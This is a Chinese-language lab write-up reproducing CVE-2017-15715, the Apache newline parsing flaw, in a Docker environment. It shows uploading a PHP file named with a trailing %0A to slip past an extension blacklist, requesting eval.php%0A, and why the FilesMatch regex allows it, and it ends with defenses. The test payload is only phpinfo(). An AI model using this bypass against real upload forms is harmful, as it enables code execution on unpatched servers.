漏洞原理
CVE-2017-15715 即为换行解析漏洞,此漏洞存在于Apache 2.4.0 - 2.4.29版本中;
在解析PHP时,服务器会将shell.php%0a后缀之后带有空格的文件按照php后缀解析,从而可以绕过服务器的安全策略
漏洞复现
进入 CVE-2017-15715 靶场目录
[root@localhost CVE-2017-15715]# docker-compose up -d # 启动容器
[root@localhost CVE-2017-15715]# docker ps -a # 启动成功
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
b4104beecaba cve-2017-15715_apache "apache2-foreground" About a minute ago Up About a minute 0.0.0.0:8080->80/tcp cve-2017-15715_apache_1
498e656acd6b php:apache "docker-php-entryp..." 26 minutes ago Exited (137) 20 minutes ago apache_parsing_vulnerability_apache_1
# 如下图,环境搭建成功
http://10.10.10.133:8080/
本地上传一个php的内置函数的文件,内容如下
<?php phpinfo(); ?>
如下图,在php后面插入一个换行符0a;此时文件名变成了‘eval.php ’
php后缀之后有空格,之后将包发过去
http://10.10.10.133:8080/eval.php%0A # 在浏览器中访问看是否成功执行php文件
漏洞分析
# 容器内php配置文件
root@b4104beecaba:/var/www/html# cat /etc/apache2/conf-available/docker-php.conf
<FilesMatch \.php$>
SetHandler application/x-httpd-php
</FilesMatch>
DirectoryIndex disabled
DirectoryIndex index.php index.html
<Directory /var/www/>
Options -Indexes
AllowOverride All
</Directory>
在设置了 正则表达式 对象的 Multiline 属性的条件下,`$`还会匹配到字符串结尾的换行符。所以如果在上传时,添加一个换行符也能被正常解析,并且能够绕过系统的黑名单检测。
root@b4104beecaba:/var/www/html# cat index.php
<?php
if(isset($_FILES['file'])) {
$name = basename($_POST['name']);
$ext = pathinfo($name,PATHINFO_EXTENSION);
if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {
exit('bad file');
}
move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);
} else {
?>
# 分析
if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) { #
exit('bad file');
}
其在前端又限制了上传文件的格式'php', 'php3', 'php4', 'php5', 'phtml', 'pht';
同时利用正则表达式$的特性 <FilesMatch \.php$> 他会匹配换行符将其成功执行
漏洞防御手段
-
对中间件进行升级
-
对上传文件重命名
-
上传时采用白名单的验证方式